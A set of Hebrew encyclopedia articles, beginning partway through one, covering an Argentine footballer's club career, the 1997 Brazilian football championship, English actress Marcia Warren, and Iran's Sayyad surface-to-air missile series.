קונטי החל את דרכו בקבוצת הנוער של אתלטיקו קולון מעיר הולדתו סנטה פה. הוא התקדם לקבוצה הבוגרת, במדיה ערך את הופעת הבכורה שלו ב-8 בדצמבר 2013, מול קבוצת אולימפו, כשהיה בן 19. תוך זמן קצר היה קונטי לשחקן הרכב קבוע, ובהמשך לקפטן קולון. בחמש שנים במדי הקבוצה, צבר קונטי 115 הופעות ליגה, בהן כבש ארבעה שערים.

ב-25 במאי 2018 עזב לראשונה את קולון, וחתם במדי בנפיקה ליסבון מליגת העל הפורטוגלית. הוא ערך רק ארבע הופעות במדי הקבוצה הבוגרת של המועדון, בטרם יצא לסדרת השאלות באטלס המקסיקנית ובבאהיה ואמריקה פוטבול קלוב הברזילאיות.

בינואר 2023 עזב את בנפיקה ועבר ללוקומוטיב מוסקבה מליגת העל הרוסית, בחוזה לשנתיים וחצי.

## תארים
;בנפיקה ליסבון
*אליפות פורטוגל: 2018/2019
*הסופר קאפ הפורטוגלי: 2019

;ראסינג קלוב
* גביע סודאמריקנה: 2024
* גביע רקופה סודאמריקנה: 2025

## קישורים חיצוניים

 

קטגוריה:כדורגלנים ארגנטינאים
קטגוריה:בלמי כדורגל ארגנטינאים
קטגוריה:סנטה פה (ארגנטינה): כדורגלנים
קטגוריה:כדורגלני אתלטיקו קולון
קטגוריה:כדורגלני בנפיקה ליסבון
קטגוריה:כדורגלני אטלס
קטגוריה:כדורגלני באהיה
קטגוריה:כדורגלני אמריקה פוטבול קלוב (בלו הוריזונטה)
קטגוריה:כדורגלני לוקומוטיב מוסקבה
קטגוריה:כדורגלני ראסינג קלוב
קטגוריה:כדורגלני חימנסיה לה פלאטה
קטגוריה:ארגנטינאים שנולדו ב-1994
אליפות ברזיל בכדורגל 1997

**אליפות ברזיל בכדורגל 1997** (בפורטוגזית:**Campeonato Brasileiro de Futebol da 1ª Divisão de 1997**) הייתה הפעם ה-42 בו נערכה תחרות ארצית בכדורגל בברזיל. היא אורגנה על ידי קונפדרציית הכדורגל הברזילאית. המשחקים החלו ב-5 ביולי 1997 והסתיימו ב-21 בדצמבר 1997.  

בתחרות השתתפו 26 קבוצות. אוניאו סאו ז'ואו ואמריקה (נאטאל) היו הקבוצות שהעפילה מליגת המשנה הברזילאית.

בשלב ראשון נערכו 25 מחזורים בשיטת משחק בית ומשחק חוץ. 8 קבוצות העפילו להמשך התחרות. בשלב השני הקבוצות אורגנו בשני בתים. מנצחי הבתים נפגשו במשחק הגמר.

במהלך שלב הבתים של האליפות עבור הניצחון הוענקו שלוש נקודות ונקודה עבור תיקו. בשלב הגמר, במידה ומפגש כפול לא נתן הכרעה, הקבוצה עם הישג טוב יותר בשלב הקודם העפילה להמשך התחרות.

ואסקו דה גאמה זכתה באליפות. זו הייתה הזכייה השלישית בתולדות המועדון. 

מנצחת התחרות העפלה לגביע ליברטדורס. גרמיו זכתה בתחרות הגביע הברזילאי והייתה נציגה נוספת של ברזיל.

בסיום העונה באהיה, קריסיומה, פלומיננסה ואוניאו סאו ז'ואו ירדו לליגת משנה. 

## משחק הגמר

ואסקו דה גאמה זכתה בעקבות הישג טוב יותר בשלב הבתים.

## טבלה סופית של הליגה

## שחקנים מצטיינים
אדמונדו שחקנה של ואסקו דה גאמה כבש 29 שערים וזכה בתואר מלך השערים של האליפות. 

אדמונדו שחקנה של ואסקו דה גאמה זכה גם בפרס "כדור הזהב" לכדורגלן העונה לכדורגלן העונה של עיתון ספורט ברזילאי Placar.

## קישורים חיצוניים
*נתונים מאתר rsssf
* נתונים מאתר zerozero
* נתונים מאתר transfermarkt

ברזיל
קטגוריה:עונות באליפות ברזיל בכדורגל
מרשה וורן

**מרשה וורן** (באנגלית: **Marcia Warren**; נולדה ב-26 בנובמבר 1943) היא שחקנית תיאטרון, קולנוע וטלוויזיה אנגלייה. על הבמה הופיעה בתפקיד מאדאם ארקטי במחזה "Blithe Spirit" ובמחזה "The Sea" בתיאטרון המלכותי היימרקט.

היא זכתה פעמיים בפרס אוליבייה.

## ביוגרפיה
וורן נולדה בעיר ווטפורד שבהרטפורדשייר. היא למדה בבית ספר גילדהול למוזיקה ודרמה בלונדון, וסיימה את הלימודים ב-1963. מאז שיחקה במספר רב של מחזות ברחבי בריטניה. עבודתה הראשונה הייתה כעוזרת מנהל במה בהפקה של הרומן "דייוויד קופרפילד" בסולסברי.

### קריירה
מ-2013 עד 2016 שיחקה בתפקיד פנלופי בסיטקום "Vicious" של רשת ITV. ב-2014 כיכבה בסיטקום " Edge of Heaven" בתפקיד נני מו. עוד שיחקה בפרק בקומדיית המצבים "מה יגידו השכנים?".

וורן זכתה בשני פרסי תיאטרון על שם לורנס אוליבייה לשחקנית הטובה ביותר בתפקיד משנה. ב-1984 זכתה בפרק על הופעתה במחזה "Stepping Out", וב-2002 על הופעתה במחזה "Humble Boy" בתיאטרון המלכותי הלאומי. ב-2001 הייתה מועמדת לפרס על תפקידה במחזה "In Flame" בתיאטרון ניו אמבסדורס.

## פילמוגרפיה
### קולנוע

### טלוויזיה

## משחקי וידאו

## קישורים חיצוניים

## הערות שוליים

קטגוריה:שחקניות תיאטרון אנגליות
קטגוריה:אישים זוכי פרס אוליבייה
קטגוריה:שחקניות קולנוע וטלוויזיה אנגליות
קטגוריה:בריטיות שנולדו ב-1943
קטגוריה:בריטים שנולדו ב-1943
סאיאד

**סאיאד** (בדומה לעברית, פירושו "צייד", בפרסית: **موشک پدافند هوایی صیاد** תעתיק מדויק: מושךּ פּדאפנד הואיי ציאד) היא סדרת טילי קרקע-אוויר מבוססי דלק מוצק המיוצרים על ידי איראן.

סאיאד 2 הוא גרסה של RIM-66 Standard (או SM-1), טיל אמריקאי שאיראן רכשה מארצות הברית לפני המהפכה של 1979.

סאיאד-3 הוא טיל עם קוטר דומה לסאיאד-2  אבל כנפונים שונים, אבל עם טווח ארוך יותר. הערכות מדברות על טווח של 150-200 ק"מ.

## קישורים חיצוניים

* איראן ביצעה שיגור ניסוי של טילי קרקע אוויר, באתר דבקה, פברואר 2017
* איראן החלה ייצור של טילי נ"מ "סאיאד-3", באתר Gulf Times, יולי 2017

## הערות שוליים

קטגוריה:טילים איראניים
קטגוריה:טילי קרקע-אוויר